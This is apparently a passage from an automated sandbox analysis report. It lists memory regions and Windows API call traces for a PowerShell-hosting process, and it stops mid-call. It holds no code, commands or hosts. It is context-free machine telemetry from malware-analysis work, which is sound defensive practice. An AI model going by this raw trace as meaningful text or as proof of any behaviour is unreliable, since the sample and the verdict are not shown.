monitored = 1 entry_point = 0x5e5f9680 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll") Region: id = 2404 start_va = 0x5c80000 end_va = 0x5cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 2405 start_va = 0x5d80000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 2406 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2419 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2421 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2427 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2428 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 2429 start_va = 0x5a90000 end_va = 0x5acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a90000" filename = "" Region: id = 2430 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 2432 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2449 start_va = 0x5da0000 end_va = 0x5ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005da0000" filename = "" Region: id = 2450 start_va = 0x5e40000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 2451 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2557 start_va = 0x48b0000 end_va = 0x48effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 2558 start_va = 0x5f70000 end_va = 0x5faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f70000" filename = "" Region: id = 2559 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 2562 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2583 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2604 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2605 start_va = 0x4380000 end_va = 0x438ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 2609 start_va = 0x4910000 end_va = 0x494ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 2610 start_va = 0x4f30000 end_va = 0x4f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 2611 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 2612 start_va = 0x4380000 end_va = 0x438ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 2615 start_va = 0x4380000 end_va = 0x4380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2616 start_va = 0x5c80000 end_va = 0x5cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 2617 start_va = 0x65c50000 end_va = 0x65c57fff monitored = 0 entry_point = 0x65c53bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 2618 start_va = 0x60e0000 end_va = 0x64dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000060e0000" filename = "" Region: id = 2619 start_va = 0x4390000 end_va = 0x4390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2620 start_va = 0x60e0000 end_va = 0x64dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000060e0000" filename = "" Region: id = 2631 start_va = 0x4d30000 end_va = 0x4d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d30000" filename = "" Region: id = 2632 start_va = 0x5a90000 end_va = 0x5acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a90000" filename = "" Region: id = 2633 start_va = 0x65c30000 end_va = 0x65c45fff monitored = 0 entry_point = 0x65c313df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 2634 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2635 start_va = 0x616a0000 end_va = 0x61723fff monitored = 0 entry_point = 0x616a19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2636 start_va = 0x4390000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 2637 start_va = 0x65be0000 end_va = 0x65be9fff monitored = 0 entry_point = 0x65be4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 2647 start_va = 0x614c0000 end_va = 0x61696fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 2652 start_va = 0x739d0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x739e0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 2653 start_va = 0x4380000 end_va = 0x4381fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004380000" filename = "" Region: id = 2654 start_va = 0x73ee0000 end_va = 0x7407dfff monitored = 0 entry_point = 0x73f0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2655 start_va = 0x43e0000 end_va = 0x43e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2656 start_va = 0x44b0000 end_va = 0x44b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044b0000" filename = "" Region: id = 2664 start_va = 0x43e0000 end_va = 0x43e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043e0000" filename = "" Region: id = 2665 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2666 start_va = 0x44c0000 end_va = 0x44c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044c0000" filename = "" Region: id = 2667 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2668 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2669 start_va = 0x44d0000 end_va = 0x44d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2670 start_va = 0x4810000 end_va = 0x4826fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 2671 start_va = 0x44e0000 end_va = 0x44e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044e0000" filename = "" Region: id = 2677 start_va = 0x44d0000 end_va = 0x44d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2678 start_va = 0x48b0000 end_va = 0x48dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 2679 start_va = 0x48e0000 end_va = 0x48e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2680 start_va = 0x4ca0000 end_va = 0x4d05fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2689 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2690 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2691 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2692 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2693 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2694 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2695 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2711 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 2712 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 2713 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 2714 start_va = 0x48f0000 end_va = 0x48fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 2715 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2716 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2717 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2718 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2719 start_va = 0x5e80000 end_va = 0x5f80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2720 start_va = 0x73b00000 end_va = 0x73b4bfff monitored = 0 entry_point = 0x73b02c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2721 start_va = 0x75280000 end_va = 0x752adfff monitored = 0 entry_point = 0x75281bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 2724 start_va = 0x4900000 end_va = 0x490dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 2725 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2726 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2727 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2732 start_va = 0x4990000 end_va = 0x4990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004990000" filename = "" Region: id = 2737 start_va = 0x5de0000 end_va = 0x5e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005de0000" filename = "" Region: id = 2738 start_va = 0x6130000 end_va = 0x616ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006130000" filename = "" Region: id = 2739 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2933 start_va = 0x4910000 end_va = 0x491ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 2938 start_va = 0x5140000 end_va = 0x517ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 2939 start_va = 0x5230000 end_va = 0x526ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005230000" filename = "" Region: id = 2940 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Thread: id = 19 os_tid = 0xe4c [0209.559] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x550 [0209.560] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x54c [0209.560] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x518 [0209.560] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x554 [0209.560] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x564 [0209.561] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x548 [0209.561] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x578 [0209.561] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ac [0209.561] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5b8 [0209.562] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5bc [0209.562] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c0 [0209.562] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0209.562] SetEvent (hEvent=0x554) returned 1 [0209.562] SetEvent (hEvent=0x550) returned 1 [0209.563] SetEvent (hEvent=0x54c) returned 1 [0209.563] SetEvent (hEvent=0x518) returned 1 [0209.563] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c8 [0209.563] SetEvent (hEvent=0x370) returned 1 [0209.574] SetEvent (hEvent=0x564) returned 1 [0209.574] SetEvent (hEvent=0x548) returned 1 [0209.574] SetEvent (hEvent=0x578) returned 1 [0210.006] CoCreateGuid (in: pguid=0x9e418 | out: pguid=0x9e418*(Data1=0x8eff6591, Data2=0xdb1e, Data3=0x4ad7, Data4=([0]=0xad, [1]=0xb4, [2]=0x96, [3]=0x3, [4]=0x62, [5]=0x21, [6]=0xe0, [7]=0x80))) returned 0x0 [0210.010] ReportEventW (hEventLog=0x4c20004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x269c920*="Stopped", lpRawData=0x269c848) returned 1 [0210.325] SetEvent (hEvent=0x370) returned 1 [0210.844] CloseHandle (hObject=0x370) returned 1 [0211.485] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0211.488] CoGetContextToken (in: pToken=0x9fadc | out: pToken=0x9fadc) returned 0x0 [0211.488] CObjectContext::QueryInterface () returned 0x0 [0211.488] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.488] Release () returned 0x0 [0211.652] CoGetContextToken (in: pToken=0x9f7ec | out: pToken=0x9f7ec) returned 0x0 [0211.652] CObjectContext::QueryInterface () returned 0x0 [0211.652] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.653] Release () returned 0x0 [0211.656] CoGetContextToken (in: pToken=0x9f7ec | out: pToken=0x9f7ec) returned 0x0 [0211.656] CObjectContext::QueryInterface () returned 0x0 [0211.656] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.656] Release () returned 0x0 [0211.929] CoGetContextToken (in: pToken=0x9f7ec | out: pToken=0x9f7ec) returned 0x0 [0211.929] CObjectContext::QueryInterface () returned 0x0 [0211.929] CObjectContext::GetCurrentThreadType () returned 0x0 [0211.929] Release () returned 0x0 [0212.114] CoGetContextToken (in: pToken=0x9f80c | out: pToken=0x9f80c) returned 0x0 [0212.114] CObjectContext::QueryInterface () returned 0x0 [0212.114] CObjectContext::GetCurrentThreadType () returned 0x0 [0212.114] Release () returned 0x0 [0212.115] CoUninitialize () Thread: id = 21 os_tid = 0xe70 Thread: id = 22 os_tid = 0xe74 [0172.599] RegCloseKey (hKey=0x36c) returned 0x0 [0189.240] CloseHandle (hObject=0x424) returned 1 [0204.752] CloseHandle (hObject=0x3a4) returned 1 [0211.653] EtwEventUnregister () returned 0x0 [0211.653] EtwEventUnregister () returned 0x0 [0211.653] EtwEventUnregister () returned 0x0 [0211.654] EtwEventUnregister () returned 0x0 [0211.654] EtwEventUnregister () returned 0x0 [0211.654] EtwEventUnregister () returned 0x0 [0211.654] EtwEventUnregister () returned 0x0 [0211.654] EtwEventUnregister () returned 0x0 [0211.801] LocalFree (hMem=0x528378) returned 0x0 [0211.805] LocalFree (hMem=0x5282f0) returned 0x0 [0211.885] EtwEventUnregister () returned 0x0 [0211.897] CloseHandle (hObject=0x2d4) returned 1 [0211.914] CloseHandle (hObject=0x348) returned 1 [0211.914] CloseHandle (hObject=0x340) returned 1 [0211.915] CloseHandle (hObject=0x344) returned 1 [0211.915] CloseHandle (hObject=0x2d0) returned 1 [0211.915] CloseHandle (hObject=0x19c) returned 1 [0211.916] CloseHandle (hObject=0x404) returned 1 [0211.916] CloseHandle (hObject=0x3fc) returned 1 [0211.917] CloseHandle (hObject=0x2b4) returned 1 [0211.917] CloseHandle (hObject=0x3e0) returned 1 [0211.918] UnmapViewOfFile (lpBaseAddress=0xb20000) returned 1 [0211.920] LocalFree (hMem=0x5888e8) returned 0x0 [0211.920] CloseHandle (hObject=0x420) returned 1 [0211.921] CloseHandle (hObject=0x3a4) returned 1 [0211.921] CloseHandle (hObject=0x41c) returned 1 [0211.922] CloseHandle (hObject=0x45c) returned 1 [0211.922] CloseHandle (hObject=0x5b8) returned 1 [0211.923] CloseHandle (hObject=0x5ac) returned 1 [0211.924] CloseHandle (hObject=0x578) returned 1 [0211.924] CloseHandle (hObject=0x548) returned 1 [0211.924] CloseHandle (hObject=0x410) returned 1 [0211.925] CloseHandle (hObject=0x418) returned 1 [0211.925] CloseHandle (hObject=0x414) returned 1 [0211.925] CloseHandle (hObject=0x2c8) returned 1 [0211.928] CloseHandle (hObject=0x36c) returned 1 [0211.928] CloseHandle (hObject=0x3dc) returned 1 [0211.928] CloseHandle (hObject=0xf) returned 1 [0211.934] CloseHandle (hObject=0x564) returned 1 [0211.934] CloseHandle (hObject=0x554) returned 1 [0211.934] CloseHandle (hObject=0x518) returned 1 [0211.935] CloseHandle (hObject=0x54c) returned 1 [0211.935] CloseHandle (hObject=0x550) returned 1 [0211.935] CloseHandle (hObject=0x558) returned 1 [0211.936] CloseHandle (hObject=0x40c) returned 1 [0211.936] CloseHandle (hObject=0x408) returned 1 [0211.936] CloseHandle (hObject=0x274) returned 1 [0211.937] DeregisterEventSource (hEventLog=0x4c20004) returned 1 [0212.100] CloseHandle (hObject=0x5c8) returned 1 [0212.101] CloseHandle (hObject=0x5c4) returned 1 [0212.102] CloseHandle (hObject=0x5c0) returned 1 [0212.103] CloseHandle (hObject=0x5bc) returned 1 [0212.104] LocalFree (hMem=0x5bd230) returned 0x0 [0212.106] CloseHandle (hObject=0x368) returned 1 [0212.107] RegCloseKey (hKey=0x80000004) returned 0x0 [0212.107] CloseHandle (hObject=0x364) returned 1 [0212.108] CloseHandle (hObject=0x360) returned 1 [0212.109] CloseHandle (hObject=0x35c) returned 1 [0212.109] CloseHandle (hObject=0x358) returned 1 [0212.110] CloseHandle (hObject=0x354) returned 1 [0212.110] CloseHandle (hObject=0x350) returned 1 [0212.111] CloseHandle (hObject=0x34c) returned 1 Thread: id = 23 os_tid = 0xe78 Thread: id = 94 os_tid = 0xf64 [0165.658] CoCreateGuid (in: pguid=0xbbea40 | out: pguid=0xbbea40*(Data1=0xbe72028, Data2=0xb408, Data3=0x427e, Data4=([0]=0xa9, [1]=0x92, [2]=0x67, [3]=0x61, [4]=0x42, [5]=0xb3, [6]=0x8b, [7]=0x4c))) returned 0x0 Thread: id = 95 os_tid = 0xf68 Thread: id = 99 os_tid = 0xf78 [0186.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0186.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x48aec80) returned 1 [0186.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x2717968 | out: lpFileInformation=0x2717968*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xe2c35250, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0186.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x48aec7c) returned 1 [0186.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0186.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x48aee04) returned 1 [0186.353] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0186.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x48adc20) returned 1 [0186.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0186.535] GetFullPathNameW (in: 